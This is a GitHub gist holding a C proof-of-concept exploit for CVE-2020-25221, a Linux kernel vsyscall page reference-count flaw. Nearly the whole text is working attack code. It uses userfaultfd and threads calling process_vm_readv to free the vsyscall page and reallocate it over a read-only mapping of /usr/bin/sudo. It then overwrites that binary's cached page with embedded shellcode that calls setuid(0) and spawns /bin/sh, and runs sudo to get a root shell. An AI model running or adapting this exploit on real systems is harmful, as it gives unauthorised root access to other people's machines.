Skip to content

Instantly share code, notes, and snippets.

@d4em0n
Created December 6, 2020 14:31
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save d4em0n/0cb173194f2e4118626b5bafec06ecce to your computer and use it in GitHub Desktop.
Save d4em0n/0cb173194f2e4118626b5bafec06ecce to your computer and use it in GitHub Desktop.
CVE-2020-25221
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <sys/time.h>
#include <time.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <dlfcn.h>
#include <string.h>
#include <inttypes.h>
#include <sys/types.h>
#include <signal.h>
#include <sys/ucontext.h>
#include <errno.h>
#include <err.h>
#include <sched.h>
#include <stdbool.h>
#include <setjmp.h>
#include <sys/uio.h>
#include <poll.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <stdlib.h>
#include <string.h>
#include <asm/processor-flags.h>
#define PAGESIZE 4096
// small elf file that can execute setuid(0); execve("/bin/sh",0,0);
// setuid binary will be overwrite with this
char * payload = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x80\x04\x08\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\xa8\x00\x00\x00\x00\x00\x00\x00\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05";
void DumpHex(const void * data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char * ) data)[i]);
if (((unsigned char * ) data)[i] >= ' ' && ((unsigned char * ) data)[i] <= '~') {
ascii[i % 16] = ((unsigned char * ) data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i + 1) % 8 == 0 || i + 1 == size) {
printf(" ");
if ((i + 1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i + 1 == size) {
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8) {
printf(" ");
}
for (j = (i + 1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
int pid = 0;
int userfaultfd(int flags) {
return syscall(323, flags); // userfaultfd
}
int prepareUFD(void * pages, unsigned long memsize) {
int fd = 0;
if ((fd = userfaultfd(O_NONBLOCK)) == -1) {
fprintf(stderr, "++ userfaultfd failed: %m\n");
exit(-1);
}
struct uffdio_api api = {
.api = UFFD_API
};
if (ioctl(fd, UFFDIO_API, & api)) {
fprintf(stderr, "++ ioctl(fd, UFFDIO_API, ...) failed: %m\n");
exit(-1);
}
if (api.api != UFFD_API) {
fprintf(stderr, "++ unexepcted UFFD api version.\n");
exit(-1);
}
struct uffdio_register reg = {
.mode = UFFDIO_REGISTER_MODE_MISSING,
.range = {
.start = (long) pages,
.len = memsize
}
};
if (ioctl(fd, UFFDIO_REGISTER, & reg)) {
fprintf(stderr, "++ ioctl(fd, UFFDIO_REGISTER, ...) failed: %m\n");
exit(-1);
}
if (reg.ioctls != UFFD_API_RANGE_IOCTLS) {
fprintf(stderr, "++ unexpected UFFD ioctls.\n");
exit(-1);
}
return fd;
}
void * process_vm_readv_hack(void * memory) {
struct iovec local, remote;
int ret;
local.iov_base = memory;
local.iov_len = 4096;
remote.iov_base = (void * ) 0xffffffffff600000;
remote.iov_len = 4096;
ret = process_vm_readv(pid, & local, 1, & remote, 1, 0);
}
static int exploit_all_the_things(void) {
char buf[4096];
void * pageufd;
void * pages[1024];
void * pages2[10000];
int fds[1024];
int i;
struct iovec local, remote;
int ret;
char dummy[1024];
int fdp = open("/usr/bin/sudo", O_RDONLY);
pid = getpid();
local.iov_base = buf;
local.iov_len = 4096;
remote.iov_base = (void * ) 0xffffffffff600000;
remote.iov_len = 4096;
printf("BUMP vsyscall refcount to 1024\n");
for (i = 0; i < 1; i++) {
if ((pages[i] = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
fprintf(stderr, "++ mmap failed: %m\n");
return -1;
}
printf("create page%d=%p\n", i, pages[i]);
fds[i] = prepareUFD(pages[i], 0x1000);
}
pthread_t thread[1024] = {};
for (i = 0; i < 1022; i++) {
if (pthread_create( & thread[i], NULL, process_vm_readv_hack, pages[0])) {
fprintf(stderr, "++ pthread_create failed: %m\n");
return -1;
}
}
printf("Done\n");
printf("Trigerring bug: put back vsyscall page to buddy allocator");
getchar();
ret = process_vm_readv(getpid(), & local, 1, & remote, 1, 0);
int total1 = 0;
printf("Reallocating read write page which make vsyscall point to the this new page..\n");
for (i = 0; i < 64; i++) {
char namefile[20];
sprintf(namefile, "file%d", i);
int file_fd = syscall(__NR_memfd_create, namefile, 0);
if (ftruncate(file_fd, PAGESIZE)) err(1, "trunc init");
if ((pages[i] = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE, file_fd, 0)) == MAP_FAILED) {
fprintf(stderr, "++ mmap failed: %m\n");
return -1;
}
printf("create %d page%d=%p\n", file_fd, i, pages[i]);
memset(pages[i], 'A', 0x800);
total1 += 1;
if ( * (char * )(void * )(0xffffffffff600000) == 'A') {
printf("Success! vsyscall page now is A*0x800\n");
break;
}
}
printf("Now we have vsyscall and %p point to the same physical page\n", pages[total1 - 1]);
printf("DUMP VSYSCALL: ");
DumpHex((void * )(0xffffffffff600000), 16);
printf("BUMP vsyscall refcount to 1024 again!");
getchar();
if ((pageufd = mmap(NULL, PAGESIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
fprintf(stderr, "++ mmap failed: %m\n");
return -1;
}
printf("create page%d=%p\n", i, pageufd);
prepareUFD(pageufd, 0x1000);
for (i = 0; i < 1022; i++) {
// printf("creating thread%d, alloc mem=%p\n", i, pageufd);
if (pthread_create( & thread[i], NULL, process_vm_readv_hack, pageufd)) {
fprintf(stderr, "++ pthread_create failed: %m\n");
return -1;
}
}
printf("Done again");
getchar();
printf("Trigerring bug again: put back vsyscall page also %p to buddy allocator\n", pages[0]);
printf("We can still use %p after the page freed\n", pages[0]);
ret = process_vm_readv(getpid(), & local, 1, & remote, 1, 0);
int total2 = 0;
printf("Reallocating read only page from %s\n", "/usr/bin/sudo");
for (i = 0; i < 900; i++) {
int file_fd;
file_fd = fdp;
if ((pages2[i] = mmap(NULL, PAGESIZE, PROT_READ | PROT_EXEC, MAP_SHARED, file_fd, 0)) == MAP_FAILED) {
fprintf(stderr, "++ mmap failed: %m\n");
return -1;
}
// printf("create page%d=%p\n", i, pages2[i]);
// memset(pages2[i], 'X', 0x800);
DumpHex(pages2[i], 16);
total2 += 1;
if ( * (char * ) pages[0] != 'A') {
printf("Success!: Page allocated from /usr/bin/sudo to %p\n", pages2[i]);
printf("Success!: %p and %p point to the same physical memory page\n", pages[0], pages2[i]);
printf("We can write %p to overwrite read only page %p\n", pages[0], pages2[i]);
break;
}
}
printf("DUMP pages[0]: ");
DumpHex(pages[i], 16);
if ( * (char * ) pages[0] != '\x7f') {
printf("Failed :(\n");
return -1;
}
printf("almost done!");
getchar();
memcpy(pages[0], payload, 168);
printf("/usr/bin/sudo overwrited!\n");
printf("Executing sudo!\n");
system("sudo");
return 0;
}
int main(int argc, char ** argv) {
exploit_all_the_things();
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment